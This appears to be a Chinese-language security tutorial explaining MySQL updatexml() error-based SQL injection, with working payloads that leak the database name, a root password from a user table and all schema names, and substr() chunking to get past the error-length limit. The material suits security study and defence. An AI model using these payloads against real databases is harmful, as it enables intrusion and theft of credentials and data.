当前位置: 首页 > news >正文

updatexml报错注入原理分析

《网络安全自学教程》

在这里插入图片描述

SQL注入时,经常利用updatexml()的报错特性来脱库。

updatexml报错原理

  • 1、updatexml语法参数
  • 2、报错原理分析
  • 3、使用updatexml()脱库
  • 4、分割显示结果

updatexml() 的作用是修改xml文件的内容。

1、updatexml语法参数

updatexml(参数1,参数2,参数3)

  • 参数1: 文件名,比如 a.xm
  • 参数2:路径,比如 contry->city1
  • 参数3:替换的值内容,比如 tianjing

就是把 a.xm 文件中 contry->city1 标签的值改成 tianjing

2、报错原理分析

参数2 的路径必须符合 XML 的 Xpath 语法,否则就会报错,提示你语法错误,并且把报错位置的内容显示出来。

比如我给参数2一个特殊符号~,它就会把这个特殊符号显示出来。

​​​​​​​​​​​​在这里插入图片描述

如果函数里还有函数,他就会先执行里面的那个函数,类似小学数学里提到的"先算括号内,再算括号外",利用这个特性,我们在updatexml()里插入别的函数。

select updatexml(1,concat('~',database()),3);
  1. 它会先执行最里面的 database() ,查看到前使用的数据库是test。
select updatexml(1,concat('~',test),3);
  1. 再执行 concat() ,拼接成~test
select updatexml(1,~test’,3);
  1. 再执行updatexml(),一看参数2是 ~test,不符合Xpath语法,就报语法错误,停止执行SQL,然后把报错位置的参数显示出来。像下图的执行结果那样,我们就拿到了当前使用的数据库。

在这里插入图片描述

3、使用updatexml()脱库

按照上一步的逻辑,在函数中再插入括号,括号里写SQL语句,就能执行任意SQL,比如:查看root用户的密码。

select updatexml(1,concat('~',
(select password from user where username='root')
),3);

在这里插入图片描述

插入脱库语法来脱裤。

select updatexml(1,
concat('~',(
select group_concat(schema_name) 
from information_schema.schemata
)),3);

在这里插入图片描述

这里大家能注意到,我文章中的SQL故意换行了,这个换行不是语法要求,是给你自己看的,否则嵌套这么多括号,很容易写错。

4、分割显示结果

updatexml() 显示的报错内容字符串,最大长度是31个字符。脱库的结果显示不全,我们可以用 substr() 截取不同位置的字符串,分别显示出来。

比如:从第1个字符开始,截取31个字符。

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,1,31)
),3);

在这里插入图片描述

从第32个字符开始,截取31个字符。

select updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata)
,32,31)
),3);

在这里插入图片描述
直到显示完所有字符。

http://www.lryc.cn/news/493018.html

相关文章:

  • 蓝桥杯c++算法秒杀【6】之动态规划【上】(数字三角形、砝码称重(背包问题)、括号序列、组合数问题:::非常典型的必刷例题!!!)
  • 【Qt】重写QComboBox下拉展示多列数据
  • 【mac】终端左边太长处理,自定义显示名称(terminal路径显示特别长)
  • 基于Springboot的流浪宠物管理系统
  • web博客系统的自动化测试
  • 【论文阅读】Multi-level Semantic Feature Augmentation for One-shot Learning
  • 网络知识面试
  • 图片预览 图片上传到服务器
  • 前端:base64的作用
  • Django在fitler过滤不等于的条件
  • Spring Boot英语知识分享网站:技术与实践
  • 京准电钟:NTP网络校时服务器从入门到精准
  • C++趣味编程玩转物联网:用树莓派Pico控制四位数码管
  • DRM(数字权限管理技术)防截屏录屏----视频转hls流加密、web解密播放
  • 实验三 z变换及离散时间LTI系统的z域分析
  • Python中的DrissionPage详解
  • python除了熟悉的pandas,openpyxl库也很方便的支持编辑Excel表
  • go语言怎么实现bash cmd里的mv功能?
  • Vue前端面试进阶(五)
  • 面试手撕题积累
  • notepad++文件github下载
  • .NET新知识点笔记
  • 数据结构:链表进阶
  • Python 爬虫入门教程:从零构建你的第一个网络爬虫
  • Java面试题、八股文——JVM篇最终篇
  • Spring Boot整合Redis Stack构建本地向量数据库相似性查询
  • shell脚本基础学习_总结篇(完结)
  • 什么是 C++ 中的函数对象?它有什么特点?
  • css:项目
  • macOS 开发环境配置与应用开发指南